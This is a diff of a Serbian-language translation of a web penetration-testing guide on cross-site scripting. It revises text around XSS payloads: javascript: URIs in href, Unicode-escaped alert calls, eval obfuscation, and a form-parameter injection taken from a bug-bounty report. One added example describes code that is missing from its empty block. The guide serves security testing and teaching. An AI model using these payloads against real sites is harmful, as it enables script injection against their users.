@@ -275,7 +275,7 @@ Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga ka ``` ### Unutar atributa -Čak i ako **ne možete pobeći iz atributa** (`"` se kodira ili briše), zavisno o **kojem atributu** se vaša vrednost reflektuje, **da li kontrolišete celu vrednost ili samo deo**, moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj poput `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\ +Čak i ako **ne možete pobeći iz atributa** (`"` se enkodira ili briše), zavisno o **kojem atributu** se vaša vrednost reflektuje, **da li kontrolišete celu vrednost ili samo deo**, moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj poput `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\ Još jedan interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljan kod: **`href="javascript:alert(1)"`** **Bypass unutar događaja korišćenjem HTML enkodiranja/URL enkodiranja** @@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc ``` **Mesta gde možete ubaciti ove protokole** -**Uopšteno** `javascript:` protokol se može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne ` @@ -353,9 +353,9 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc //https://github.com/evilcos/xss.swf "> ``` -### Unicode Encode JS izvršenje +### Unicode Encode JS izvršavanje + +--- + +Kada je ciljano okruženje osjetljivo na Unicode karaktere, možete koristiti Unicode enkodiranje kako biste izvršili JavaScript kod. Ovo može biti korisno za zaobilaženje filtera ili ograničenja na web stranici. + +Primjer: + +```html + +``` + +Ovaj kod će prikazati `Hello from XSS` poruku. ```javascript \u{61}lert(1) \u0061lert(1) @@ -555,7 +571,7 @@ eval(8680439..toString(30))(983801..toString(36)) /**/ ``` -**JavaScript komentari (iz trika o** [**JavaScript komentarima**](./#javascript-comments) **)** +**JavaScript komentari (iz trika** [**JavaScript komentari**](./#javascript-comments)**)** ```javascript //This is a 1 line comment /* This is a multiline comment*/ @@ -749,7 +765,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj ### Normalizovani Unicode -Možete provjeriti da li su **reflektovane vrijednosti** **normalizovane u Unicode-u** na serveru (ili na klijentskoj strani) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primjer ovdje**](../unicode-injection/#xss-cross-site-scripting). +Možete provjeriti da li su **reflektovane vrijednosti** **normalizovane u Unicode-u** na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primjer ovdje**](../unicode-injection/#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL flag Bypass ```javascript @@ -762,10 +778,12 @@ Primer obrasca ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -Par "Ključ","Vrednost" će biti vraćen kao: +Par "Ključ","Vrednost" će biti vraćeno kao što je prikazano: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` +Zatim će biti umetnut atribut onfocus i doći će do XSS napada. + ### Posebne kombinacije ```markup